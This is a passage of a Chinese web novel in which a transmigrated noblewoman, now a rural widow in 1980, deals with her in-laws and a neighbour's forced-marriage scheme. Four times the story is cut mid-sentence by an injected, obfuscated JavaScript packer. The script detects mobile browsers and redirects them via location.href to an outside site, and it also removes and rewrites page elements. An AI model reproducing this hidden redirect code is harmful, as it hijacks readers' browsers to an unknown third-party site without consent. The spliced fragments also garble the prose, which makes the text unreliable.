沈大魁也看出来了,二死丫头不肯回,周家也不肯放,他哼了一声说:“既然你们周家这么不放心,那就你们带去看吧!我们这亲娘老子,算是和你做下仇了!我就看你往后没有娘家人撑腰,能过什么好日子!” 沈大魁唱完白脸,起身就走,剩下的母子三人都来唱红脸。 卢秀芳还抹了把泪:“你真是不理解妈的一片苦心,妈还不全都是为你好。过日子,还不奔好人家去过吗?郑家连电视机都要买了,放眼胜利公社,有几家有电视机的。你自己再好好想想吧!不要一根筋想着守寡,人要往前看。” “是啊,二姐,家永远是你家,我和志远永远欢迎你回去。”沈志高说。 “还不走啊!”沈大魁在周家院门口大吼一声,惊动得大队里的狗都开始汪汪叫。 卢秀芳带着两个儿子走了,沈淑仪坐着不动,送都没起来送。 周家人见沈淑仪不送,也都没送。周长淮一直在厨房,倒是出来送了两步,顺便锁院门。 周长淮锁好院门,回到厨房去。孙巧梅已经洗好碗,正在往脸盆里舀热水。烧过晚饭的锅灶,用火膛里的余火就能把一锅水加热,正好够一大家子晚上洗漱用。现在是五月,不冷不热,温度刚刚好。 “你先端过去,给爸妈。”孙巧梅说。 周长淮端着脸盆回堂屋,周长潇正缠着陶桂香要钱买雪花膏。周长泓也趁机说自己要二十块钱做本钱,去县城做小生意。 陶桂香惯孩子,尤其是惯这两个小的,唯独在钱上,抓得很紧,休想从她指头缝里漏出一角无关的钱。 周长淮把脸盘放在桌上,说:“你们别闹妈了,大哥的抚恤金都是有用处的。妈、爸你们洗洗睡吧。” 周长潇哼了一声,冲沈淑仪说:“大嫂,大哥就要一个孩子吗?我给你生个也算周家血脉吧!剩下的二百五是不是可以给我了!” 陶桂香抬手在她脑袋上敲了一记:“我看你像个二百五!” 周长潇捂着头喊:“这不公平!大哥的抚恤金,凭什么没我的份!” “你再喊,你再喊!”陶桂香狠掐了周长潇两下,又对几个孩子说,“老大抚恤金的事,谁都不准说!哪个敢说出去,就不要喊我妈!” “嘶、疼!疼!为什么不能说。”周长潇还想和小姐妹显摆一下呢。 周长淮说:“小妹你傻啊,你说出去,隔壁还不肯定要来分钱!” 周长潇这才想起来,大哥这工作是爷爷给他弄的。当时爷爷身体快不行了,他有一份人情,可以弄到一份工作,他本来准备给三叔家的周长清留着的,但他身体实在熬不到周长清成年,又怕人走茶凉,就把工作先弄”给大哥了。当时爷爷还让大哥立字据,说五年后就把工作转给周长清,后来是她妈吵翻了天,又要闹到公社去,才把五年改成十年,这份字据,应该还在三叔家手里呢。 想起这事,周二柱家所有人都是一肚子气,老两口子偏心偏到外国去了! “我知道了,我不说就是。”周长潇又不是傻子,想明白就不闹了。 陶桂香想起当时大儿子的领导送骨灰回来,隔壁那个死对头妯娌,不顾侄儿尸骨未寒,就来问人家领导工作顶替的事,还好人家单位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364055|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在不能顶替,不然儿子死了还把工作便宜他家,陶桂香真的要呕死。 这事,沈淑仪也知道的,所以她先前才把五百块钱的事拿出来说。 孙巧梅又端了一个脸盆过来,放在桌上对沈淑仪说:“大嫂,这个水给你用。” 沈淑仪平时都是自己一个人洗漱,不跟旁人一起。 “劳烦弟妹。”沈淑仪站起身,伸手想端进自己房,发现没力气,孙巧梅索性帮她端回房。 沈淑仪又道了谢。孙巧梅心说,大嫂现在倒是有礼貌了,以前仗着自己丈夫有工作,对她都是鼻孔朝天,现在大嫂娘家回不去,只能留在这,没丈夫没孩子,果然硬气不起来了。 孙巧梅,心里怪舒坦的。她其实挺看不起她大嫂的,什么殉情,什么守寡,纯属脑子有毛病,有好日子不过。就连沈家为她找的那个二嫁的人家,孙巧梅都觉得不错,要是她,肯定就改嫁了,她大嫂真是脑子病得不轻,有好人家不嫁,还和娘家闹成这样…… 就在周二柱一家子洗漱的时候,隔壁周三柱家传来一阵吵闹声。 周二柱把毛巾往脸盆里一甩就往外跑。 “你稳重些!冲魂啊!”陶桂香在他后面骂。 周家姊妹三个也跟着跑了出去,沈淑仪在自己房中,听到动静,也出来了。 自家的破事固然烦恼,仇家的热闹却不能不看。这就是周二柱一家的心理。 沈淑仪见周家人都站在西院墙,听隔壁的动静。 其实不用贴着西院墙也能听到,隔壁一个颇有泼妇实力的女人在扯着喉咙喊:“大家都来看啊!周三柱家周长清,摸了我家闺女不想负责!大家来评评理啊!周长清耍流氓!把他抓去枪毙啊!” “你胡说八道什么!我们长清是见义勇为!” “什么见义勇为,见义勇为怎么不救自家嫂子的!还不是看我家海云长得好看!想占便宜!” 沈淑仪最后也不是周长清救上来的,周长清的妈说他才下过水,不让他再下水,后来是周长泓把她捞起来的。原书中,这也是一个矛盾点,周二柱家认为,周长清没有二次下水,故意耽误时间,害死嫂子。 “妈,你不要乱说了……人家救了我……你这样,我以后怎么做人啊!”窦海云的哭声夹杂在两个中年女人的争吵声中,显得虚弱又无力。 “周长清耍流氓!摸了我家闺女不肯负责!我家闺女被他摸光了!”窦海云的妈,铁了心要把窦海云嫁给周长清,她不管用这样的方式把女儿嫁过去后,女儿会面对什么样的日子,她只知道,家里穷得快揭不开锅了。 孙巧梅站到沈淑仪旁边小声说:“大嫂,你觉得窦家能得逞吗?” 沈淑仪说:“能。” “啧啧,那可有热闹看了!”孙巧梅讥讽道,“窦海云她妈也是豁得出去,这要是不成,窦海云还活得下去啊?” “会成的。”沈淑仪淡淡说,毕竟周三柱家不敢赌,万一窦海云真死了,那窦家更会彻底缠上他们。 5. 第 5 章 “刘翠芹同志!大晚上的,不要扰民。” 隔壁传来一个男人略带威严的声音。 “哎哟,谁把大队长请来了。”孙巧梅说着,拉沈淑仪朝西墙又走了两步。 窦海云的妈刘翠芹根本不怕大队长陈志,不如说,大队长来了,她跳得更高了:“大队长来得正好,你给我们评评礼!他周长清把我闺女看光摸净了,又动手又动嘴,他要不要负责!” “什么看光摸净,长清不就下河把你闺女救上来了,实施了急救吗?怎么到你嘴里,成这话了!”陈志说,“照你这么说,要是今天是二圩那个杨癞子把海云救上来,你还把闺女嫁给杨癞子啊!” 陈志这话一说,惹得看热闹的社员哈哈大笑。谁都知道,窦家就是想趁机赖上周家,把闺女嫁给周长清。要说海云这个女孩子,在大圩大队,大家都是认可的,但她这个娘家,却是谁都不敢惹。她妈是泼妇,她爸是懒汉…… 窦海云哭得更厉害了。 “那我管不着,现在就是周长清耍流氓,我闺女活不下去了,嫁不出了!”刘翠芹说。 “越说越离谱!”陈志说,“你当现在是旧社会呢!老三丘那边的贞洁牌坊都被推到多少年了,你还在这放这个封建屁!快把海云领回去,大晚上的不睡觉,明天不上工啊!” 刘翠芹跳起来声嘶力竭地吼道:“陈志你敢保证啊!你敢保证我家海云以后的丈夫不在乎她被周长清摸过了!你敢保证,我就把海云领回去!” “妈!你别说了,我求你了……”窦海云要哭昏死过去了,她想拉她妈也拉不动,她也不敢昏,她一昏,她妈还不知道要怎么说呢。 陈大队长哪里敢保证,老三丘的贞洁牌坊确实倒了,人心里的贞洁牌坊可还在呢!其实他今天上工的时候,就听大队里有人拿周长清开玩笑,问她海云的身子软不软,嘴甜不甜。他当时也把那群兔崽子给骂了,但他也不能时时刻刻管住那些人的嘴。 陈志沉默几秒,刘翠芹立马说:“看看、看看,大队长怎么不吱声了!怕不是嘴上说的和心里想的不一样哦!” “我不嫁人行了吧!”窦海云突然爆发,原地跺了两脚,哭喊道,“我不嫁人总行了吧,人家好心救我!妈你为什么要逼人家!好人是做不得了吗!” “你想得美!想让老娘养你一辈子呢!”刘翠芹气得七窍生烟,老娘在这为她拼前程呢,她倒扯老娘后腿了! 沈淑仪听到旁边的孙巧梅啧了一声,说:“这个海云也是个傻的,她妈这都是为她,她怎么还扯后腿,不然凭她那家庭,怎么可能嫁给周长清。” 沈淑仪瞥了一眼弟媳妇:“未必是扯后腿。” “怎么说?”孙巧梅问。 没等沈淑仪回答她,隔壁的男主角周长清开口了,他声音铿锵有力:“我愿意娶窦海云同志,她今天见义勇为,不该被这样对待,也不该被人当做谈资。” “哎呀!太好啦!”刘翠芹激动地双手在空中一拍! “长清!你疯啦!”周长清他妈李满花感觉天都塌了,尖叫一声。 “不行!我不同意。”一直没吱声的周三柱也傻眼了,连忙说。 窦海云也有点愣住了,她也没想到周长清会突然这么说。不管她妈是怎么想,她自己是压根没有想过周长清会同意娶她。 “不行,不行,见义勇为的人,不该被威胁……周同志,你不用管我,我会说服我妈的。”窦海云慌乱地说。 刘翠芹恨不得拿棍子给窦海云两下子。 周长清朝窦海云走了两步,说:“不,我愿意与见义勇为的窦海云同志结为夫妻,不是被威胁了。请答应我吧,除非你是在怪我,没有早点表态。” 周长清说完这话,隔壁的院子突然大亮起来,原来是来电了。 “我……我……”窦海云看着眼前的周长清,正好能看清他的脸,他脸上的表情那么诚恳,她的心怦怦直跳。 “她同意了!”刘翠芹在旁高兴地替闺女回话,“今天不早了,明天我们再来商量结婚的事,得赶在‘双抢’前把婚结了,亲家、女婿,我们先走了。” 刘翠芹说完就拉着窦海云走了。这时候不走,更待何时?剩下的事让周长清自己和娘老子掰扯。反正,周长清今天当着这么多人面充了英雄,后续别想赖账。 女主角一走,围观的人也走了。陈志想要劝几句,替窦海云说两句话,看李满花要吃人的样子,想想还是算了,跟着社员一起走了。 李满花气得捶周长清的胳膊:“你要把我气死啊!你不晓得窦家是什么人家啊!” “窦家是窦家,窦海云是窦海云。”周长清说。 “上梁不正下梁歪,什么藤结什么瓜!她能是个什么好东西啊!这事你别管了,我死也不同意,明天我就跟她家说清楚,咱们家不可能娶她。”李满花说。 “妈……” 周长清刚想劝他妈几句,却见李满花突然对着周二柱家这边发起飙来。 “都怪你们家那个丧门星!祸害你们家一个还不算,还来祸害我家!”李满花操起院子里的扫帚就朝周长泓兄弟砸过来。 这兄弟俩也是猖狂得很,原本是猫着身子在墙角听,不知道什么时候趴墙头上去了。 两兄弟身子一让,秃头扫把落在周二柱家院中。 周长泓趴在墙头笑嘻嘻:“长清恭喜你啊!别忘了请我们喝喜酒啊!都是自家兄弟。” 周长清没理周长泓,把已经快失去理智的李满花拽进堂屋。 “唉,比电影好看。”周长泓从墙头下来,拍拍手上的灰。 “行了,都回房睡觉吧。”陶桂香说着,朝沈淑仪看了一眼,正如李满花所说,这事归根结底还是因为沈淑仪,他们家怕是又要添上一宗罪,两家子的仇是越发解不开了。 沈淑仪知道陶桂香怎么想的,她也不在意,转身回房去了。 房间里,她洗漱过的水还在盆里,她端不动,索性不管,就这么放着,直接上床睡了。 沈淑仪躺在床上,睡不着。来了这么个地方,大概是回不去了,原先的自己估计已经死了。她一死,恐怕最高兴的就是她丈夫,正好可以把养在外头的外室和外室子都迎回去,一家子欢欢喜喜团聚。 想到这,沈淑仪心里就堵着一口气,她最气的还是她那个亲生儿子,他竟然早就知道父亲外头养着外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364056|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室,还和那个外室子称兄道弟。沈淑仪想派人把那两个人弄走,还是她亲儿子告的秘,最后还来质问她,为什么要做这种残忍的事。 她原想着等病好了,就收拾这对父子和那对外室母子,没想到,竟来了这儿。她想最好也有个人也借她的尸还魂,把她没做完的事给做了,那她肯定万分感谢。 沈淑仪想了好久,最终长舒一口气,想那些都没用了,还不如想想,自己以后的路要怎么走。 周二柱老两口的房间里,两人正在说夜话。 “你说,老大真的显灵了吗?”陶桂香说。 “谁知道呢……”周二柱叹道,“要说显灵,我们都没看见,没显,老大媳妇怎么知道抚恤金的事,还知道是五百块。” “唉,老大也是个狠心的,都不知道来看看我。”陶桂香说着哽咽起来。 “好了,别又哭了。”周二柱劝道。 陶桂香抹了把泪:“老大媳妇想留就留吧,不管怎么样,她对老大一颗心是没话说。” “嗯,睡吧,别想了,明天还要上工呢。”周二柱说。 日有所思,夜有所梦。 当晚,陶桂香就梦见死去的大儿子了,梦的还和大儿媳妇说的一样,大儿子说要个孩子继承香火…… 一觉醒来,天才蒙蒙亮,陶桂香推推身边的周二柱:“他爸,他爸!长海给我托梦了!” 周二柱被陶桂香推醒,迷迷糊糊问:“嗯?你说什么。” “长海给我托梦了,说的和他媳妇说的一样!”陶桂香说。 周二柱坐起身:“你梦见长海了?” “嗯,他和我说话了,说要个孩子。” 周二柱沉默几秒说:“看样子老大媳妇说的都是真的,幸好答应她了。” 陶桂香也点头,自此把沈淑仪的话信了个十成。 沈淑仪也做了个梦,梦里她又回到了自己原来的世界,然后把她想收拾的人都收拾了! 醒来后,沈淑仪看着陌生的房间,缓了好一会儿才回过神。这里没有锦衣玉食,没有丫鬟奴仆,她现在只是一个农家小寡妇。 沈淑仪坐起身,感觉身上比昨天要疼,她便又躺了回去。 “大嫂,你起了没?感觉怎么样啊?”孙巧梅被婆婆指派着来喊大嫂起床。 沈淑仪下床开了门,又挪着步子回床躺下,然后才说:“感觉浑身疼。” 孙巧梅其实这会儿也浑身疼,但她的疼和大嫂的疼可不一样~~ “那,要不要请黄医生来看看啊?”孙巧梅问。 “劳烦弟妹。”沈淑仪说。 孙巧梅转头去问陶桂香,陶桂香来看沈淑仪,见她一张脸还是惨白惨白的,就让孙巧梅去请黄医生来。 黄医生来看过,还是让好好修养,沈淑仪正好光明正大在家躺着,吃穿由孙巧梅伺候。 沈淑仪知道现在不允许奴役旁人,但关上门,都是一家人,应该没关系吧。 吃饭时,沈淑仪把周家人打量一番,心里已经给个人安排了差事。 周长泓对上沈淑仪的目光,觉得这大嫂肯定又没安好心,不知道又准备怎么哄骗他可怜的家人。 6. 第 6 章 沈淑仪在家躺到第三天,陶桂香终于憋不住了。她留下沈淑仪,可不是让她每天光吃饭不干活的。 “老大家的,你身上差不多了吧?人家海云和你一天掉水里的,早就去上工了。”一大早,陶桂香站在沈淑仪房门外喊她。 沈淑仪已经起床,这会儿正坐在木漆斑驳的梳妆台前梳头,看着镜子里的自己,脸色比她刚落水那天稍微好点了,但还是黄里透白,一看就营养不良。 镜子里的脸和自己前世也是像的,巴掌小脸,细眉细眼,秀鼻薄唇,下巴有些尖,不管是前世,还是当下,都不是被长辈喜欢的那种所谓的福气长相。 听到婆婆喊她,她也不回话,继续缓缓地梳头,这几天下来,她对现在这个齐耳短发很满意,好打理,不像前世顶着假髻压得脖子都疼。梳好头,她又把那朵小白花给别在鬓角。 “老大家的!”陶桂香见喊不应沈淑仪,又开始使劲拍门,拍了两下后,门开了。 沈淑仪站在她面前,脸上没什么表情,她不喜欢别人这么用力地拍门。 “起来了你不应一声!”陶桂香气道,“你歇两天差不多了吧,你留下来可以,家里可没有白饭给你吃,你今天给我……” 沈淑仪微微皱眉,打断陶桂香:“不会好好说话吗,又是拍门,又是大喊大叫的,说吧,什么事?” 陶桂香话被打断,憋了一股气,外头孙巧梅喊她,她板着脸说:“我今天带巧梅去上工,家里交给你和二丫头了。” “知道了,就这点事,下次不要这么激动,对身体不好。”沈淑仪说。 “还不是我喊你,你不睬我!”陶桂香气道,声音又大了几分。 “你看,你又开始喊了。”沈淑仪不满地看着婆婆。 陶桂香被沈淑仪这么看着,感觉自己更气了,想要再说沈淑仪几句,偏偏外头孙巧梅又喊她。她便朝着外头冲二媳妇:“马上来了,喊魂呢!” “快去吧,去晚了扣工分。”沈淑仪不管婆婆要被她气冒烟,不紧不慢地说。 陶桂香张张嘴,想骂不知道怎么骂,又怕去晚了真要扣工分,转身就走,心里想着等放工了再找她算账。 陶桂香走了两步,又被沈淑仪喊住了:“妈,你等下。” “干什么!”陶桂香没好气地说。 沈淑仪从门后的挂钩上拿了顶草帽递给她:“今天天会热,戴上。” 陶桂香接过草帽,一时不知道还该不该气,一句话没说转头走了。 陶桂香出了门就把草帽戴头上了,走到孙巧梅跟前,孙巧梅说:“咦,妈这不是大嫂的新草帽吗?” “嗯,她给我戴的。”陶桂香说。 孙巧梅撇嘴,上次她赶集,问大嫂借她都不借呢。 “老二家的,你觉不觉得,你大嫂好像有点变了。”陶桂香说。 “肯定变了啊。”孙巧梅说,“从前有大哥在呢,有人给她撑腰。现在,大哥走了,她没个孩子,还和娘家闹翻了,肯定不像从前那么硬气了啊。我这两天给她端茶倒水,她一口一个劳烦弟妹,从前可没这么礼貌。” 陶桂香却觉得沈淑仪的变化不止这方面,但要她说也说不上来,含糊地嗯了一声没有再说什么。 “哎呀,这不是桂香么,往后就是亲戚了,多照应啊!”刘翠芹扛着锄头从岔路走过来,笑容满面地和陶桂香打招呼。 “可不敢当。”陶桂香说。 “敢当敢当,马上不就是我家海云嫡嫡亲亲的二伯娘了嘛!”刘翠芹说。 窦海云和周长清的婚事已经定下来了,不知道周长清是怎么说服他爸妈的,总之两人的婚事已经定下,夏收过后下小定,今年冬天办婚礼。两家口头商议好的当天,刘翠芹就嚷嚷得满大队都知道了。 陶桂香没理刘翠芹,刘翠芹对陶桂香却很热情,走到她身边说:“说起来,我们家海云的婚事,真要感谢你家老大媳妇呢,她人没事吧?” 陶桂香根本不想提这事,没好气地说:“死不了。” 刘翠芹心情好,被冲了一句也不生气,笑嘻嘻地说:“回头叫海云去谢谢她。” 陶桂香不睬刘翠芹,刘翠芹又看到一个新目标,从她身边走开了。 “呸!得意个屁,我就不相信,李满花会让窦海云过好日子!不把闺女当人,也算个当妈的。”陶桂香朝着刘翠芹的背影啐了一口。 孙巧梅在旁没接话,她婆婆倒是会惯女儿,贴嫁妆把大姑子嫁到县城去,又把小姑子惯得无法无天,成天欺负她这个当嫂子的。婆媳两个一路没说话,到了晒谷场。 今天他们生产队的任务是砘场,就是用石碾把晒谷场给压平实,等夏收时用来晒冬小麦和油菜籽。经过一个冬天和一个春天,晒谷场上坑坑洼洼,还有不少地方长了草,堆了杂物。女社员的任务是除草、捡小石子和填坑,男社员们负责平地、拉石碾。 晒谷场空旷,不能明目张胆偷懒,社员们就磨洋工。 陶桂香带着孙巧梅除草,半个小时了,也没走几步远。她们在听两个男社员说话。 “你听说没?等夏收过了,我们公社也要开始搞包干了。” “没听说啊!真的假的!” “真的,公社新来个书记听说了吧,新官上任三把火,肯定要烧起来啊。现在全国好多地方都在搞,人家早的七八年就开始搞,现在都八零年了,我们这也就早晚的事。” “这包干到底怎么个包法子啊,是算人头还是按户头?” “好像是按户头。反正,等夏收结束就晓得了。” 陶桂香和孙巧梅都听说过有些地方在搞包干,但具体怎么搞,她们也不知道,两人都把听说的话记心里,准备回家和男人们再商议。 周家这会儿只有沈淑仪和周长潇在家,周长潇一直在自己房中没出来。 沈淑仪吃了早饭,心情还不错,就把家前屋后逛了一遍。在后院猪圈里,沈淑仪第一次看见了活猪。两头猪都不大,其中一头是队里的任务猪,另一头是他们自家的。今年是他们第一次养,平时陶桂香宝贝得很,就差没把两头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364057|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪当亲孙子了。 除了猪,周家还养了六只母鸡,有只母鸡正在下蛋,沈淑仪也是头一次见,站着看了好一会儿。 后院还种了不少菜,黄瓜、茄子、辣椒、番茄……现在正是涨势旺的时候,这些菜,其中很多沈淑仪前世也是没见过的,但她有原主记忆,看到的同时也就想起来是什么了。不过还是因为新奇,多看了会儿。 “大嫂,你干什么呢,别偷吃我番茄!”周长潇突然找了过来。 沈淑仪看看她,问:“哪个番茄是你的,我不吃那个。” “全是我的!”周长潇叫嚣。 这番茄,才有个别一点点转红,沈淑仪本来不想摘的,听周长潇这么一说,如此嚣张,她走到番茄地里,把目前最红的一颗番茄给摘了。 “啊!你摘了!”周长潇尖叫一声,扑过来要抢。 沈淑仪身子一躲:“像什么样,一点规矩都没有。” “你摘我番茄,还跟我讲规矩,还给我!”周长潇今年十六,个子比沈淑仪矮,沈淑仪手一举,她扑空了。 “你还给我!这是今年的第一个红番茄,我准备留着拌白糖吃的!”周长潇气得直跳脚。 “你站好,规矩点。”沈淑仪说。 周长潇生平最讨厌规矩两个字,还是这个她最讨厌的大嫂说出来的。 “你自己就最不规矩,还好意思叫我规矩呢!你规矩,你就不会嫁给我大哥了!”周长潇最气的就是这件事,当时大哥明明已经和吴知青谈恋爱了,却被这个女人用肮脏的手段给抢了! 吴知青多好啊,长得虽然没有这女人好看,但人家大方啊,还是大城市人,听说父母还是当大官的呢!每次吴知青家里给她寄好的,她都会给自己分,吴知青才是周长潇心里最满意的大嫂人选。 她的白兔奶糖啊!桃酥啊!麦乳精啊!全都泡汤了,都怨这个女人!周长潇恶狠狠地盯着她。 沈淑仪把番茄放在鼻尖闻了闻,有一股清香味,她还挺喜欢的。 “所以呢,你要成为你最讨厌的人吗?”沈淑仪淡淡说。 周长潇顿时哑火了…… 原书里,周长潇确实成为她最讨厌的人了。她进城去看她大姐,看上了她大姐夫的一个同事,但人家有未婚妻,她为了嫁给人家,就和她大姐一起设计了那人,两人睡到一起了。但那人并没有像她大哥娶大嫂一样娶了她,而是狠狠地玩弄了她,最后把又她甩了。她大姐因为这件事和大姐夫离婚了,两姐妹也反目成仇。 “你们干什么呢!”沈淑仪身后传来周长泓的声音。 周长潇忙说:“三哥,她抢我番茄,你给我抢过来!” 周长泓说着已经走到沈淑仪跟前,沈淑仪还没反应过来,番茄就易手了。 番茄到周长泓手上,他就放到嘴边咬了一口,然后龇牙咧嘴地说:“酸死了,没熟呢。” 沈淑仪被抢了番茄,很不开心,她看着周长泓。 周长泓把咬过一口的番茄又递给沈淑仪:“想要?喏,还给你。” 7. 第 7 章 沈淑仪看看周长泓,没有接他的番茄。这个家里,目前她最看不清,暂时也没想好该怎么拿捏的就是这个小叔子。 这小叔子时不时偷看她,眼神带着不怀好意的探究,两人偶尔目光相遇,他还想装无辜,但早就被沈淑仪发现了。 原主的记忆里,直到她跳河之前,和这个小叔子没什么过节,两人也井水不犯河水。甚至,相对于周家其他人,这个小叔子对原主算是客气的了。 怎么她一来,这小叔子倒变了?沈淑仪觉得周长泓可能在怀疑她的身份。 “被我咬过不要了啊?那我掰一半给你。”周长泓说着就掰番茄,沈淑仪没理他,从他身边走开了。 周长潇上前抢过周长泓手上的一半番茄,气呼呼说:“三哥你也欺负我!” 周长泓敲了小妹脑袋一下:“咱们家谁能欺负你,倒是你,别老欺负大嫂二嫂,以后没人敢要!” 周长潇咬了一口番茄,酸得直打颤,然后说:“那你快点给我娶个三嫂回来,我以后就欺负她。” “你敢!”周长泓又咬了两口,把剩下靠近果蒂的丢进菜地里,“我要娶肯定也娶个厉害的回来,把你一天打三顿。” “她敢!你不上工又跑回来偷懒,回头扣工分,叫妈打你。”周长潇说。 “肥水不流外人田不知道吗?”周长泓从来不是踏实干活的主,能赖就赖,能躲就躲。 周长潇嫌弃地咦了一声,丢了番茄皮,又进菜地寻摸黄瓜。 沈淑仪回到房中,看着自己这两天换下来的衣服,轻叹口气,洗衣服这活,目前只能自己干了。 沈淑仪端了盆,拿了肥皂去河边洗衣服。站在码头,看着眼前的河,沈淑仪心情有点复杂,这就是原主跳的河,如果她没有过来,原主已死,这身体应该已经火化了。 不知道自己如果跳进去,会不会回到原来的世界,没能亲手收拾那对父子,她心里还是觉得遗憾。 “你可别又乱来!” 河岸上传来窦海云的声音。 沈淑仪转头看,窦海云已经迅速跑到她跟前。 “你,别那么想不开,小命是自己的,没什么过不去的坎。”窦海云认真劝沈淑仪。 “我没准备跳河。”沈淑仪说。 “那就好。”窦海云笑笑,她并不相信沈淑仪,她远远地看着沈淑仪站着不动,盯着河面发呆,说不定还是想跳。 沈淑仪蹲下来开始洗衣服,窦海云就站在她身后。沈淑仪洗完一件衬衫,窦海云还没走。 “你没事吗,在这看着我?”沈淑仪转头问窦海云。 窦海云怎么可能没事,她就没有闲下来的时候。但是,她又不放心沈淑仪一个人在河边。 “我没事。”窦海云说。 “你快去忙吧,我说了不会跳的。”沈淑仪也不信窦海云没事。 “真的啊,那你千万要说话算话。”窦海云有些难为情地说,“上次没能救你上来,不好意思啊,你身体没事了吧。” 沈淑仪蹲得有些累,站起来,看着窦海云说:“嗯,所以下次没把握的事别做,去找有能力的人来做。” 窦海云没想到沈淑仪会这么说,她张张嘴,有些不知道该怎么接话。在她心里,自己虽然没能救沈淑仪上来,但是她的善举却是实实在在的,而且她自己也落水,被呛得半死,最后也是她的提醒,周家人才把她捞上来的。沈淑仪竟然一句感谢的话都没有,还这么说她,她有点无法理解。 沈淑仪看窦海云的表情就知道她在想什么,她没再管窦海云,刚才对窦海云的提醒已经是对她的感谢了。这位善良的女主角,后来又发生过不自量力救人的事,希望她能改掉这个毛病。 窦海云见沈淑仪继续洗衣服了,也没有再逗留,转头走了。 沈淑仪洗好衣服回家,周长潇正在院子里啃黄瓜。 “大嫂,等下该烧中饭了,你来烧。”周长潇说。 沈淑仪没理她,小姑子嘴里吃着东西说话,她不想理。 周长潇见沈淑仪不理她,走到她跟前:“喂,跟你说话呢。” 沈淑仪把衣服挂好,转头冷眼看周长潇。 周长潇被沈淑仪的眼神吓得后退一步,但嘴里还不忘嚼着黄瓜。 “喊谁喂呢?我是你什么人你就喂?”沈淑仪说,“先不要开口,把嘴里吃的咽下去再和我说话。” 本来沈淑仪的眼神就吓人,语气又过分威严,周长潇一下子被唬住了……她以前和大嫂也吵架,大嫂也凶,但以前的大嫂是张牙舞爪的凶,和现在完全不一样。 周长潇嚼吧嚼吧吃下黄瓜,语气弱下来:“等下你烧饭。” 沈淑仪说:“是我们,不是我。” “哦,知道了……”要是以前,周长潇肯定要和她大嫂扯一翻,但现在看着大嫂的眼睛,她不敢! “什么时候烧饭,到我房前喊我,先敲门,声音要轻,喊人要带称谓。”沈淑仪又说。 “哦……”周长潇应了一声,咬着黄瓜转身,心说大嫂该不会被水鬼上身了,怎么这么可怕! 姑嫂两个各自回房。 沈淑仪回房后,简单收拾了一下房间。这房间,也就一张破旧梳妆台,一个五斗柜,五斗柜上放着一个盖着旧床单的木箱。木箱上有一把小铜锁,沈淑仪知道那里锁着原主的全部家当。 沈淑仪从梳妆台的抽屉里找出钥匙,打开木箱,樟脑味扑鼻。 木箱是结婚时娘家给的陪嫁,里面放着原主结婚时穿的衣服,还有一些看起来比较新的衣服。沈淑仪从木箱最下面,掏出一个蓝色格子手帕,打开手帕,里面有一些钱和票。 沈淑仪数了一下,一共五十六块钱、半斤红糖票、两斤棉花票、三尺布票。原主的记忆浮上心头,这些钱和票是她为将来自己坐月子和以后的孩子做衣服留的。 原主是真的很爱自己的丈夫,也不知道她追上周长海没,希望她追上了,两个人黄泉路上有个伴,下辈子投胎再做夫妻。 心里一番感慨过后,沈淑仪又用蓝手帕把钱和票包好放了回去,重新上锁。 她又把五斗柜翻了一遍,只有原主的一些旧衣服、针头线脑、鞋样子、破布头…… 真穷啊!沈淑仪想,她身边最下等的丫鬟也有几样首饰,几身像样的衣服呢。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364058|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“咚咚!”响起两声敲门声。 “大嫂,天不早了,烧中饭了。”周长潇在门外说。 沈淑仪见周长潇照自己说的做了,心里满意,应了声:“来了。” 姑嫂两个到厨房,今天中午要用的米和菜,早上陶桂香就准备好了。家里的米和面都装在柜子里,钥匙在陶桂香手上,她对旁人不放心,每天定量用多少米、多少面,都是她算好的。 “大嫂,还是我烧火,你来弄?”周长潇问。 “嗯。”沈淑仪应了声,正好她不想烧火。 午饭这点东西,其实一个人也能做,就煮个饭,咸菜炖个豆腐,辣椒炒韭菜,再一个丝瓜汤,不费什么事。 姑嫂两个不说话,但配合还算默契,正好赶在他们放工前把中饭烧好了,还装好端上桌了。 陶桂香回到家,摘下草帽,刚想随手放在院子里,想着这是大儿媳妇的,就拿到房里去了。走进堂屋,饭桌上,饭菜已经准备好,连筷子都摆好了。 